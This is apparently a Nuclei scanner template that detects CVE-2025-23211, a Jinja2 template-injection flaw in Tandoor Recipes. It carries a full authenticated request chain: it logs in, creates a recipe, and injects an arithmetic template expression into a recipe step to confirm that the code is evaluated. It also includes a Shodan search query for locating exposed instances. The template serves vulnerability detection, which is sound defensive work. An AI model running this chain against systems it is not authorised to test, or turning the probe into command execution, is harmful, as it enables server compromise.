id: CVE-2025-23211

info:
  name: Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE
  author: sammiee5311
  severity: critical
  description: |
    Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps.
  impact: |
    Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation.
  remediation: |
    Upgrade to Tandoor Recipes version 1.5.24 or later.
  reference:
    - https://github.com/TandoorRecipes/recipes/blob/4f9bff20c858180d0f7376de443a9fe4c123a50c/cookbook/helper/template_helper.py#L95
    - https://github.com/TandoorRecipes/recipes/commit/e6087d5129cc9d0c24278948872377e66c2a2c20
    - https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-r6rj-h75w-vj8v
    - https://nvd.nist.gov/vuln/detail/CVE-2025-23211
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-23211
    epss-score: 0.03524
    epss-percentile: 0.88066
    cwe-id: CWE-94, CWE-1336
  metadata:
    verified: true
    max-request: 5
    shodan-query: html:"Tandoor Recipes"
  tags: cve,cve2025,rce,ssti,tandoor,jinja2,authenticated

variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /accounts/login/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: csrf
        group: 1
        regex:
          - 'name="csrfmiddlewaretoken" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /accounts/login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrfmiddlewaretoken={{csrf}}&login={{username}}&password={{password}}&remember=on&next=%2F

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        internal: true
        regex:
          - 'csrftoken=([A-Za-z0-9]+)'

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        POST /api/recipe/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-CSRFToken: {{csrftoken}}

        {"name":"{{randstr}}","description":"","steps":[{"instruction":"","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""}

    extractors:
      - type: json
        part: body
        name: recipe_id
        internal: true
        json:
          - ".id"

      - type: json
        part: body
        name: step_id
        internal: true
        json:
          - ".steps[0].id"

    matchers:
      - type: status
        status:
          - 201
        internal: true

  - raw:
      - |
        PUT /api/recipe/{{recipe_id}}/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-CSRFToken: {{csrftoken}}

        {"id":{{recipe_id}},"name":"{{randstr}}","description":"","steps":[{"id":{{step_id}},"name":"","instruction":"\u007b\u007b({{num1}}*{{num2}})|int\u007d\u007d","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /api/recipe/{{recipe_id}}/ HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrftoken}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"instructions_markdown"'
          - '{{result}}'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a0046304402201c6b8c36dcdeedbb5ef1d890d55e20c8149efd652b27748fb2b68d613836767202201d826c84db907ace4d13ef48315ab65dc9ff1b7c569bd241b5c28db9c8a9e389:922c64590222798bb761d5b6d8e72950